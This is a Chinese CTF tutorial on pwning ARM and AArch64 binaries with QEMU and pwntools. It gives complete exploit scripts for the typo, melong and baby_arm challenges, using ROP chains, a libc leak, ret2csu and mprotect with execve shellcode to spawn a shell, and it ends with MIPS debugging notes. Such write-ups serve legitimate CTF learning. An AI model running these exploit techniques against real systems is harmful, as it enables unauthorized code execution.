这篇文章将以几道 CTF 题目为例讲解 pwn arm binary的一些问题
环境搭建
环境的搭建过程我之前写过, 这里偷个懒直接全文粘贴过来
原文链接M4x@10.0.0.55
本文中用于展示的binary分别来自Jarvis OJ上pwn的add,typo两道题
写这篇教程的主要目的是因为最近想搞其他系统架构的 pwn,因此第一步就是搭建环境了,网上搜索了一波,发现很多教程都是需要树莓派,芯片等硬件,然后自己编译 gdb,后来实践的过程中发现可以很简单地使用 qemu 实现运行和调试异架构 binary,因此在这里分享一下我的方法。
主机信息:
以一台新装的 deepin 虚拟机(基于 debian)为例,详细信息如下:
预备环境安装:
- 安装 git,gdb 和 gdb-multiarch
1
2
|
$ sudo apt-get update
$ sudo apt-get install git gdb gdb-multiarch
|
- 安装 gdb 的插件 pwndbg(或者 gef 等支持多架构的插件)
1
2
3
|
$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh
|
装好之后如图:
安装qemu:
1
2
|
$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386
|
通过 qemu 模拟 arm/mips 环境,进而进行调试
安装共享库:
此时已经可以运行静态链接的 arm/mips binary 了,如下图:
但还不能运行动态链接的 binary,如下图:
这就需要我们安装对应架构的共享库,可以通过如下命令搜索:
1
|
$ apt search "libc6-" | grep "ARCH"
|
我们只需安装类似 libc6-ARCH-cross 形式的即可
运行:
静态链接的 binary 直接运行即可,会自动调用对应架构的 qemu;
动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径,如下图32位的动态链接 mips binary
使用 -L 指定共享库:
1
|
$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add
|
调试:
可以使用 qemu 的 -g 指定端口
1
|
$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add
|
然后使用gdb-multiarch进行调试,先指定架构,然后使用remote功能
1
2
|
pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234
|
这样我们就能进行调试了
效果图:
more:
同样,如果想要运行或者调试其他架构的 binary,只需安装其他架构的 qemu 和共享库即可
reference:
https://docs.pwntools.com/en/stable/qemu.html
https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain
运行和调试
安装好 qemu 之后, 就可以在本地运行和调试 binary 了, 我写了一个模板:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
import sys
context.binary = "your_binary"
if sys.argv[1] == "r":
io = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "your_binary"])
else:
io = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "your_binary"])
elf = ELF("your_binary")
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
context.log_level = "debug"
|
说明一下:
- 根据 pwntools 的 官方文档, 使用 context.binary 指定 binary 时, 就可以不用指定 context.arch, context.os 等参数了
The recommended method is to use context.binary to automagically set all of the appropriate values.
-
python exp.py r 打远程
-
python exp.py l 本地测试
-
python exp.py d/a/b/… 用于本地调试, exp 启动后新启一个终端, 使用 gdb-multiarch 就可以通过 target remote localhost:1234 来进行调试了
-
这里只写了使用 arm-linux-gnueabi 的情况, 使用 arm-linux-gnueabihf 的话更改参数即可, 关于二者的区别可以参考这篇 文章
arm 下的函数调用约定
arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0 中
一图胜千言:
by the way, arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转
接下来以几道题目为例进行分析
Jarvis oj - typo
题目和脚本链接
静态分析
1
2
3
4
5
6
7
8
|
jarvisOJ_typo [master●] check typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
|
32 位 arm 静态链接的程序, strip 过了, 并且没有开栈溢出保护, 因为是静态链接, 所以 binary 中一定会有 system 函数 和 /bin/sh 字符串, 如果能找到溢出点, 很容易就能用 rop 来解决了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
jarvisOJ_typo [master●●] ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
------Begin------
inquiry
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.
odour
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
qemu-arm: /build/qemu-c9y6mQ/qemu-2.8+dfsg/translate-all.c:175: tb_lock: Assertion `!have_tb_lock' failed.
[1] 3426 segmentation fault ./typo
|
思路
运行一下发现是一个打字游戏, 很容易就找到了溢出点, 利用 rop chain 构造 system("/bin/sh”) 即可, /bin/sh 的地址比较好找, 只要找到 system 的地址, 这个题目就很容易解决了
binary 去除了符号表信息, 并不是太容易看出来函数功能, 幸运的是通过在 IDA 中查看 /bin/sh 的交叉引用, 我们能找到调用 system 的函数(sub_10BA8 函数中出现了 /bin/sh, 读过 system 源码的同学可以发现该函数与 system 的流程类似, 于是大胆猜测 sun_10BA8 即为 system, 后来事实证明确实是)
1
2
3
4
5
6
7
8
9
10
|
char *__fastcall sub_110B4(int a1)
{
char *result; // r0
if ( a1 )
result = sub_10BA8(a1); // system(a1)
else
result = (char *)(sub_10BA8((int)"exit 0") == 0);
return result;
}
|
后来发现,使用 rizzo
可以恢复出 system 的符号表,这样寻找 system 的地址就很容易了
ROP
这样我们只需要找一个能控制 r0 的 gadget 寄存器就行了
1
2
3
4
5
6
|
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh
|
于是可以构造如下的栈结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
+------------+
| |
| padding |
| |
| |
+------------+
| gadget_addr| <- 0x20904
+------------+
| binsh_addr | <- 0x6c384
+------------+
| junk_data |
+------------+
| system_addr| <- 0x100B4
+------------+
|
这样在程序返回时, 经过 rop 就会实现 r0 -> “/bin/sh”, r4 -> junk_data, pc = system_addr 的效果, 进而执行 system("/bin/sh”) 来 get shell
此时还有一个问题, 不知道 padding 的长度, 可以通过 pwntools 的 cyclic/cyclic -l 来找长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
R0 0x0
R1 0xfffef024 ◂— 0x61616161 ('aaaa')
R2 0x7e
R3 0x0
R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
R10 0xa68c ◂— push {r3, r4, r5, lr}
R11 0x62616163 ('caab')
R12 0x0
SP 0xfffef098 ◂— 0x62616165 ('eaab')
PC 0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp 0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│ 0xfffef09c ◂— 0x62616166 ('faab')
02:0008│ 0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│ 0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│ 0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│ 0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│ 0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│ 0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112
|
或者可以直接爆破 padding 长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import pdb
# context.log_level = "debug"
# for i in range(100, 150)[::-1]:
for i in range(112, 113):
if sys.argv[1] == "l":
io = process("./typo", timeout = 2)
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "1234", "./typo"])
else:
io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
io.sendafter("quit\n", "\n")
io.recvline()
'''
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
'''
payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
success(i)
io.sendlineafter("\n", payload)
# pause()
try:
# pdb.set_trace()
io.sendline("echo aaaa")
io.recvuntil("aaaa", timeout = 1)
except EOFError:
io.close()
continue
else:
io.interactive()
|
Codegate2018 - melong
题目和脚本链接
静态分析
1
2
3
4
5
6
7
|
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
[*] '/home/m4x/pwn_repo/Codegate2018_Melong/melong'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
|
思路分析
程序逻辑很简单, 就不写分析过程了, 漏洞很好找, write_diary 中 read 的长度是由我们输入的, 可以栈溢出, 先进入 PT 函数, 输入 -1, 再进入 write_diary, 就可以实现 arbitrary overflow 了, 因此思路同 x64 下的 rop 相同, 先 leak 出 libc 基址, 然后控制执行 system("/bin/sh”) 即可
比赛时这道题目并没有给 libc 文件, 为了简化演示过程, 我直接用了我本地的 libc
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import sys
context.binary = "./melong"
if sys.argv[1] == "r":
io = remote("localhost", 9999)
elif sys.argv[1] == "l":
io = process(["qemu-arm", "-L", "./", "./melong"])
else:
io = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])
elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)
context.log_level = "debug"
def check(height, weight):
io.sendlineafter(":", "1")
io.sendlineafter(" : ", str(height))
io.sendlineafter(" : ", str(weight))
def PT(size):
io.sendlineafter(":", "3")
io.sendlineafter("?\n", str(size))
def write_diray(payload):
io.sendlineafter(":", "4")
io.send(payload)
def logout():
io.sendlineafter(":", "6")
if __name__ == "__main__":
check(1.82, 60)
PT(-1)
'''
0x00011bbc : pop {r0, pc}
'''
pr0 = 0x00011bbc
leak = flat(cyclic(0x54), pr0, elf.got['puts'], elf.plt['puts'])
'''
pwndbg> x/i $pc
=> 0xff6a7a48 <puts+400>: pop {r4, r5, r6, r7, r8, r9, r10, pc}
'''
leak += flat(elf.sym['main']) * 8
write_diray(leak)
logout()
io.recvuntil("See you again :)\n")
libc.address = u32(io.recvn(4)) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))
# raw_input("DEBUG: ")
check(1.82, 60)
PT(-1)
rop = cyclic(0x54) + p32(pr0) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
write_diray(rop)
logout()
io.interactive()
|
Shanghai2018 - baby_arm
binary & exploit here
静态分析
题目给了一个 aarch64
架构的文件,没有开 canary 保护
1
2
3
4
5
6
7
8
9
10
|
Shanghai2018_baby_arm [master] check ./pwn
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
看一下程序逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
__int64 main_logic()
{
Init();
write(1LL, "Name:", 5LL);
read(0LL, input, 512LL);
sub_4007F0();
return 0LL;
}
void sub_4007F0()
{
__int64 v0; // [xsp+10h] [xbp+10h]
read(0LL, &v0, 512LL);
}
|
程序的主干读取了 512 个字符到一个全局变量上,而在 sub_4007F0()
中,又读取了 512 个字节到栈上,需要注意的是这里直接从 frame pointer + 0x10
开始读取,因此即使开了 canary 保护也无所谓。
思路
理一下思路,可以直接 rop,但我们不知道远程的 libc 版本,同时也发现程序中有调用 mprotect
的代码段
1
2
3
4
5
6
7
8
9
10
|
.text:00000000004007C8 STP X29, X30, [SP,#-0x10]!
.text:00000000004007CC MOV X29, SP
.text:00000000004007D0 MOV W2, #0
.text:00000000004007D4 MOV X1, #0x1000
.text:00000000004007D8 MOV X0, #0x1000
.text:00000000004007DC MOVK X0, #0x41,LSL#16
.text:00000000004007E0 BL .mprotect
.text:00000000004007E4 NOP
.text:00000000004007E8 LDP X29, X30, [SP],#0x10
.text:00000000004007EC RET
|
但这段代码把 mprotect
的权限位设成了 0,没有可执行权限,这就需要我们通过 rop 控制 mprotect
设置如 bss 段等的权限为可写可执行
因此可以有如下思路:
- 第一次输入 name 时,在 bss 段写上 shellcode
- 通过 rop 调用 mprotect 改变 bss 的权限
- 返回到 bss 上的 shellcode
mprotect
需要控制三个参数,可以考虑使用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2
寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET
|
最终的 exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"
if sys.argv[1] == "l":
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
io = remote("106.75.126.171", 33865)
def csu_rop(call, x0, x1, x2):
payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
payload += flat(x2, x1, x0)
payload += '22222222'
return payload
if __name__ == "__main__":
elf = ELF("./pwn", checksec = False)
padding = asm('mov x0, x0')
sc = asm(shellcraft.execve("/bin/sh"))
# print disasm(padding * 0x10 + sc)
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
# io.send(cyclic(length = 500, n = 8))
# rop = flat()
payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
payload += flat(0x400824)
io.send(payload)
sleep(0.01)
io.send(flat(elf.plt['mprotect']))
sleep(0.01)
raw_input("DEBUG: ")
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
payload += flat(0x411068)
sleep(0.01)
io.send(payload)
io.interactive()
|
notice
同时需要注意的是,checksec
检测的结果是开了 nx 保护,但这样检测的结果不一定准确,因为程序的 nx 保护也可以通过 qemu 启动时的参数 -nx
来决定(比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护),老版的 qemu 可能没有这个参数。
1
2
3
4
|
Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx QEMU_NX enable NX implementation
|
如果有如下的报错,说明没有 aarch64 的汇编器
1
2
3
|
[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
|
可以参考官方文档的解决方案
1
2
3
4
5
6
|
Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p binutils-aarch64-linux-gnu - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu:i386 - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu-dbg - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
p binutils-aarch64-linux-gnu-dbg:i386 - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu
|
aarch64 的文件在装 libc 时是 arm64
,在装 binutils
时是 aarch64
More
- libc_datebase for arm?
- 如何多快好省的分析 strip 后的程序
- 后来了解到,对于静态编译的 bianry, 可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表
后记
后来遇到 pwnable.kr 的 mipstake 这道题目,发现用以前的方法不能运行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwnable_mipstake [master●●] ls lib
ld.so.1 libc.so.6
pwnable_mipstake [master●●] bat run.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env bash
2 │ set -euxo pipefail
3 │
4 │ unset LD_LIBRARY_PATH
5 │ qemu-mips -L ./ ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh
+ unset LD_LIBRARY_PATH
+ qemu-mips -L ./ ./mipstake
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
./run.sh: 行 5: 14538 段错误 qemu-mips -L ./ ./mipstake
|
把 ld.so, libc.so 放到同一目录下而不是使用 -L /usr/mips-linux-gnu/
,可以让 gdb-multiarch 在调试时更清楚的识别对应的地址是什么文件而不只是显示一个 [linker]
。这是在和 D4rk3r 师傅讨论一道题目的时候偶然发现的。
但 ld.so.1
,libc.so.6
在我本地又是可以运行的,说明不是 libc 版本的问题。
用 strace
跟踪一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
pwnable_mipstake [master●●] unset LD_LIBRARY_PATH
pwnable_mipstake [master●●] qemu-mips -strace -L ./ ./mipstake
14911 brk(NULL) = 0x00412000
14911 mmap2(NULL,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x7f7c8000
14911 uname(0x7fffeac8) = 0
14911 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory)
14911 access("/etc/ld.so.preload",R_OK) = -1 errno=2 (No such file or directory)
14911 openat(AT_FDCWD,"/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3
14911 fstat64(3,0x7fffe718) = 0
14911 mmap2(NULL,148329,PROT_READ,MAP_PRIVATE,3,0) = 0x7f7a3000
14911 close(3) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0xcf9e3008} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 14911 segmentation fault qemu-mips -strace -L ./ ./mipstake
|
发现了问题,/etc/ld.so.nohwacap
,/etc/ld.so.preload
这些文件不存在(原因可能是因为只用包管理装了对应 arch 的 libc 而没有其他信息)
1
2
3
4
|
pwnable_mipstake [master●●] ls /usr/mips-linux-gnu
lib
# 没有 etc 这个目录
|
那么 /etc/ld.so.nohwacap
这些文件是什么作用呢?google 了一下,发现大概就是和 LD_PRELOAD
一个作用
https://superuser.com/a/1183252/960572
但知道了原因,不知道要怎么解决。。。刚开始是想看看有没有什么包能安装其他 arch 的 /etc/ld.so.preload
这些文件,但找了一圈没找到(如果有师傅有这样的解决方法请务必指教)。
后来偶然搜索到了这部分的 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
/* We have two ways to specify objects to preload: via environment
variable and via the file /etc/ld.so.preload. The latter can also
be used when security is enabled. */
assert (*first_preload == NULL);
struct link_map **preloads = NULL;
unsigned int npreloads = 0;
if (__glibc_unlikely (preloadlist != NULL))
{
HP_TIMING_NOW (start);
npreloads += handle_ld_preload (preloadlist, main_map);
HP_TIMING_NOW (stop);
HP_TIMING_DIFF (diff, start, stop);
HP_TIMING_ACCUM_NT (load_time, diff);
}
/* There usually is no ld.so.preload file, it should only be used
for emergencies and testing. So the open call etc should usually
fail. Using access() on a non-existing file is faster than using
open(). So we do this first. If it succeeds we do almost twice
the work but this does not matter, since it is not for production
use. */
|
从注释找到了解决方案,没有 /etc/ld.so.preload
,我们还可以更改 LD_PRELAOD
这个环境变量。
修改一下运行脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwnable_mipstake [master●●] bat run.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: run.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env bash
2 │ set -euxo pipefail
3 │
4 │ LD_PRELOAD="./lib/libc.so.6" "./lib/ld.so.1" "./mipstake"
5 │ qemu-mips ./mipstake
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
pwnable_mipstake [master●●] ./run.sh
+ LD_PRELOAD=./lib/libc.so.6
+ ./lib/ld.so.1 ./mipstake
ERROR: ld.so: object './lib/libc.so.6' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
no need to brute-force..
listening...
^C
|
终于可以正常运行了,虽然还有报错,但只是 64 位系统和 32 位 libc 的兼容问题,影响不大。
Last
后来又发现只用 user mode 的 qemu 来模拟还是有很多缺陷的。。。像 gdb-multriarch 莫名跑飞或者甚至文件都不能运行。踩了很多次坑后有如下发现:
- 可以使用 docker,推荐
skysider/multiarch-docker
。大部分的问题应该都能解决了
- 如果再调试时有问题,可以试下不用 gdb plugin,有些插件对异架构的识别效果并不好
- 如果还有问题,那就只能用系统级的 qemu 来模拟了,推荐一片 文章
如上边链接中所说
MIPS system is generally the most effective method of debugging as you do not have to deal with the process being emulated inside of an x86 QEMU User Mode process.
本文将不再更新(除非遇到很让人眼前一亮的方法),但欢迎私下交流和介绍经验:)
Reference
https://elixir.bootlin.com/linux/v2.6.32.51/source/arch/arm/include/asm/unistd.h
https://bbs.pediy.com/thread-224583.htm
https://courses.washington.edu/cp105/02_Exceptions/Calling%20Standard.html
http://hideroot.tistory.com/46
http://www.freebuf.com/articles/terminal/134980.html
https://code.woboq.org/userspace/glibc/elf/rtld.c.html#1606
https://superuser.com/a/1183252/960572
https://www.ringzerolabs.com/2018/03/the-wonderful-world-of-mips.html